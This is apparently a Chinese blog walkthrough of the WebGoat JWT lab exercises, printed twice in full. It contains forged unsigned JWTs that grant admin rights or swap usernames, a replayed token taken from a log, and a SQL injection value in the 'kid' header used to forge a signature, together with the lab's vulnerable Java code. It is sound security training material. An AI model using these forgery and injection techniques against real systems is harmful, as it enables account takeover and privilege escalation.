如何通过JWT漏洞复现,深入探究其安全风险与防护措施?

2026-04-11 10:309阅读0评论SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1693个文字,预计阅读时间需要7分钟。

如何通过JWT漏洞复现,深入探究其安全风险与防护措施?

JWT(数字签名验证)漏洞复现:JWT是一种开放标准(RFC 7519),定义了一种紧凑且自包含的方式,用于在各方之间以JSON对象的形式安全地传输信息。它主要用于在各方之间以JSON对象的形式安全地传输信息。它定义了一种紧凑且自包含的方式,用于在各方之间以JSON对象的形式安全地传输信息。它主要用于在各方之间以JSON对象的形式安全地传输信息。

JWT(数字签名验证) 漏洞复现

JWT 数字签名验证 漏洞复现

如何通过JWT漏洞复现,深入探究其安全风险与防护措施?

准备工作

概述

JSON Web Token (JWT) 是一个开放标准 ( RFC 7519 ),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象的形式安全传输信息
此信息可以验证和信任,因为它是数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSAECDSA的公钥/私钥对进行签名。

JWT通常分为三部分:
头部(Header),声明(Claims),签名(Signature)
三个部分以英文句号.隔开
JWT的内容以Base64URL编码的形式存在

靶场搭建

项目地址: hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0

准备工具

jwt在线解密:jwt.io/
时间戳生成网址:tool.chinaz.com/tools/unixtime.aspx

访问地址

ip+端口/WebGoat/login

第四关

摘要

一个重要的步骤是在执行任何其他操作之前验证签名,让我们尝试查看在验证令牌之前需要注意的一些事项。

任务

尝试更改您收到的令牌并通过更改令牌成为管理员用户,一旦您成为管理员,请重置投票

  1. 这是一个投票系统,我们点击重置投票,进行抓包

  1. 通过抓包重发,我们得到一串经由JWT技术加密后的身份信息


JWT特征:算法+有效载荷(数据)+验证签名(密码)

  1. 讲数据放进JWT在线解密平台进行验证


观察解密右侧信息,依次对应现在请求包的用户信息

  1. 尝试更改用户名,admin身份改为ture


这里更改时 要注意时间戳

**pyload: **eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NTcwNjk4MDksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.


  1. 拦截请求包重放,使数据更改(垂直越权

通过Tom用户,更改请求信息,使tom用户拥有admin的权限,使投票刷新

第五关

摘要

使用带有 SHA-2 功能的 HMAC,您可以使用密钥来签署和验证令牌。一旦我们找出这个密钥,我们就可以创建一个新的令牌并对其进行签名。因此,密钥足够强大非常重要,因此暴力或字典攻击是不可行的。获得令牌后,您可以开始离线暴力破解或字典攻击。

任务

鉴于我们有以下令牌,尝试找出密钥并提交一个将用户名更改为 WebGoat 的新密钥。

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNjU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.HpiCjMv9dJKS1aLRzGmsQEdUZDWOlzRHf5mnCX6_uNM

  1. 通过JWT在线解密平台查看

  1. 观察上图,我们尝试更改tom的值为WebGoat

payload:
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNzU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.


第五关,生成JWT验证令牌时需注意一下几点:

  1. 更改用户名为WebGoat
  2. 更改exp时间戳为当前系统时间之后(有时间验证)
  3. 验证签名,即密码为空,我们只用复制算法和有效数据就好了

第七关

摘要

实施一个好的策略来刷新访问令牌是很重要的。此作业基于在 Bugcrowd 上的私人错误赏金计划中发现的漏洞,您可以在此处阅读完整的文章

任务

由于去年的违规行为,此处提供了以下日志文件 你能找到一种方法来订购书籍但让汤姆为它们付费吗?

  1. 查看日志文件

通过观察日志文件,这是一串tom在2016年的一份JWT加密形式的身份令牌

  1. 综上我们可以利用这一串令牌,为tom创建一个新的权限


通过BP抓包可以看到请求包中,有一信息,授权书为空。我们将日志里的身份修改时间戳代入这里

  1. 用修改过后的payload 带入bp中,并重放包

Payload:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTgyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

  1. 完成任务!

第八关

摘要

最后的挑战

任务

下面您会看到两个帐户,一个是 Jerry,一个是 Tom。Jerry 想从 Twitter 上删除 Toms 的帐户,但他的令牌只能删除他自己的帐户。你能试着帮助他并删除汤姆斯的账户吗?

  1. 对删除Tom的包进行抓包


原始Token内容

#Token: leSIsImFsZyI6IkhTMjU2In0. eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJy eUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5 QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0. CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HEADER:ALGORITHM & TOKEN TYPE { "typ": "JWT", "kid": "webgoat_key", "alg": "HS256" } PAYLOAD:DATA 8 { "iss": "WebGoat Token Builder", "iat": 1524210904, "exp": 1618905304, "aud": "webgoat.org", "sub": "jerry@webgoat.com", "username": "Jerry", "Email": "jerry@webgoat.com", "Role": [ "Cat" ] } VERIFY SIGNATURE HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), ) secret base64 encoded

  1. 观察源码

从下面源码进行分析,可以看到JWT的签名验证是从数据库中读取的,但是获取数据库盐的值的地方传入的参数kid并没有进行任何的过滤,这样就可以使用注入来伪造一个JWT的签名,从而达到伪造目的

AttackResult resetVotes(@RequestParam("token") String token) { if (StringUtils.isEmpty(token)) { return trackProgress(failed().feedback("jwt-invalid-token").build()); } else { try { final String[] errorMessage = {null}; Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { @Override public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try { Connection connection = DatabaseUtilities.getConnection(webSession); ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1)); } } catch (SQLException e) { errorMessage[0] = e.getMessage(); } return null; } }).parse(token); if (errorMessage[0] != null) { return trackProgress(failed().output(errorMessage[0]).build()); } Claims claims = (Claims) jwt.getBody(); String username = (String) claims.get("username"); if ("Jerry".equals(username)) { return trackProgress(failed().feedback("jwt-final-jerry-account").build()); } if ("Tom".equals(username)) { return trackProgress(success().build()); } else { return trackProgress(failed().feedback("jwt-final-not-tom").build()); } } catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); } } }

  1. Token构造查询语句,更改身份为Tom

"'; select 'MQ==' from jwt_keys --"

  1. 利用前提:
  • 利用SQL注入,构造查询语句
  • 更改用户名为Tom (这一关中,只能自己删自己)
  • 验证签名更改为1 与 sql语句联动

Payload:
eyJ0eXAiOiJKV1QiLCJraWQiOiInOyBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXMgLS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTY1NjIxMTA4OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.cOM5Nv_5Tpjj7eqadQRRFfPv2Rn8zRRisJoQIe1JJ7g

  1. 重新发包完成

本文共计1693个文字,预计阅读时间需要7分钟。

如何通过JWT漏洞复现,深入探究其安全风险与防护措施?

JWT(数字签名验证)漏洞复现:JWT是一种开放标准(RFC 7519),定义了一种紧凑且自包含的方式,用于在各方之间以JSON对象的形式安全地传输信息。它主要用于在各方之间以JSON对象的形式安全地传输信息。它定义了一种紧凑且自包含的方式,用于在各方之间以JSON对象的形式安全地传输信息。它主要用于在各方之间以JSON对象的形式安全地传输信息。

JWT(数字签名验证) 漏洞复现

JWT 数字签名验证 漏洞复现

如何通过JWT漏洞复现,深入探究其安全风险与防护措施?

准备工作

概述

JSON Web Token (JWT) 是一个开放标准 ( RFC 7519 ),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象的形式安全传输信息
此信息可以验证和信任,因为它是数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSAECDSA的公钥/私钥对进行签名。

JWT通常分为三部分:
头部(Header),声明(Claims),签名(Signature)
三个部分以英文句号.隔开
JWT的内容以Base64URL编码的形式存在

靶场搭建

项目地址: hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0

准备工具

jwt在线解密:jwt.io/
时间戳生成网址:tool.chinaz.com/tools/unixtime.aspx

访问地址

ip+端口/WebGoat/login

第四关

摘要

一个重要的步骤是在执行任何其他操作之前验证签名,让我们尝试查看在验证令牌之前需要注意的一些事项。

任务

尝试更改您收到的令牌并通过更改令牌成为管理员用户,一旦您成为管理员,请重置投票

  1. 这是一个投票系统,我们点击重置投票,进行抓包

  1. 通过抓包重发,我们得到一串经由JWT技术加密后的身份信息


JWT特征:算法+有效载荷(数据)+验证签名(密码)

  1. 讲数据放进JWT在线解密平台进行验证


观察解密右侧信息,依次对应现在请求包的用户信息

  1. 尝试更改用户名,admin身份改为ture


这里更改时 要注意时间戳

**pyload: **eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NTcwNjk4MDksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.


  1. 拦截请求包重放,使数据更改(垂直越权

通过Tom用户,更改请求信息,使tom用户拥有admin的权限,使投票刷新

第五关

摘要

使用带有 SHA-2 功能的 HMAC,您可以使用密钥来签署和验证令牌。一旦我们找出这个密钥,我们就可以创建一个新的令牌并对其进行签名。因此,密钥足够强大非常重要,因此暴力或字典攻击是不可行的。获得令牌后,您可以开始离线暴力破解或字典攻击。

任务

鉴于我们有以下令牌,尝试找出密钥并提交一个将用户名更改为 WebGoat 的新密钥。

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNjU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.HpiCjMv9dJKS1aLRzGmsQEdUZDWOlzRHf5mnCX6_uNM

  1. 通过JWT在线解密平台查看

  1. 观察上图,我们尝试更改tom的值为WebGoat

payload:
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY1NjIwNTczNSwiZXhwIjoxNzU2MjA1Nzk1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.


第五关,生成JWT验证令牌时需注意一下几点:

  1. 更改用户名为WebGoat
  2. 更改exp时间戳为当前系统时间之后(有时间验证)
  3. 验证签名,即密码为空,我们只用复制算法和有效数据就好了

第七关

摘要

实施一个好的策略来刷新访问令牌是很重要的。此作业基于在 Bugcrowd 上的私人错误赏金计划中发现的漏洞,您可以在此处阅读完整的文章

任务

由于去年的违规行为,此处提供了以下日志文件 你能找到一种方法来订购书籍但让汤姆为它们付费吗?

  1. 查看日志文件

通过观察日志文件,这是一串tom在2016年的一份JWT加密形式的身份令牌

  1. 综上我们可以利用这一串令牌,为tom创建一个新的权限


通过BP抓包可以看到请求包中,有一信息,授权书为空。我们将日志里的身份修改时间戳代入这里

  1. 用修改过后的payload 带入bp中,并重放包

Payload:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTgyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

  1. 完成任务!

第八关

摘要

最后的挑战

任务

下面您会看到两个帐户,一个是 Jerry,一个是 Tom。Jerry 想从 Twitter 上删除 Toms 的帐户,但他的令牌只能删除他自己的帐户。你能试着帮助他并删除汤姆斯的账户吗?

  1. 对删除Tom的包进行抓包


原始Token内容

#Token: leSIsImFsZyI6IkhTMjU2In0. eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJy eUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5 QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0. CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HEADER:ALGORITHM & TOKEN TYPE { "typ": "JWT", "kid": "webgoat_key", "alg": "HS256" } PAYLOAD:DATA 8 { "iss": "WebGoat Token Builder", "iat": 1524210904, "exp": 1618905304, "aud": "webgoat.org", "sub": "jerry@webgoat.com", "username": "Jerry", "Email": "jerry@webgoat.com", "Role": [ "Cat" ] } VERIFY SIGNATURE HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), ) secret base64 encoded

  1. 观察源码

从下面源码进行分析,可以看到JWT的签名验证是从数据库中读取的,但是获取数据库盐的值的地方传入的参数kid并没有进行任何的过滤,这样就可以使用注入来伪造一个JWT的签名,从而达到伪造目的

AttackResult resetVotes(@RequestParam("token") String token) { if (StringUtils.isEmpty(token)) { return trackProgress(failed().feedback("jwt-invalid-token").build()); } else { try { final String[] errorMessage = {null}; Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { @Override public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try { Connection connection = DatabaseUtilities.getConnection(webSession); ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1)); } } catch (SQLException e) { errorMessage[0] = e.getMessage(); } return null; } }).parse(token); if (errorMessage[0] != null) { return trackProgress(failed().output(errorMessage[0]).build()); } Claims claims = (Claims) jwt.getBody(); String username = (String) claims.get("username"); if ("Jerry".equals(username)) { return trackProgress(failed().feedback("jwt-final-jerry-account").build()); } if ("Tom".equals(username)) { return trackProgress(success().build()); } else { return trackProgress(failed().feedback("jwt-final-not-tom").build()); } } catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); } } }

  1. Token构造查询语句,更改身份为Tom

"'; select 'MQ==' from jwt_keys --"

  1. 利用前提:
  • 利用SQL注入,构造查询语句
  • 更改用户名为Tom (这一关中,只能自己删自己)
  • 验证签名更改为1 与 sql语句联动

Payload:
eyJ0eXAiOiJKV1QiLCJraWQiOiInOyBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXMgLS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTY1NjIxMTA4OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.cOM5Nv_5Tpjj7eqadQRRFfPv2Rn8zRRisJoQIe1JJ7g

  1. 重新发包完成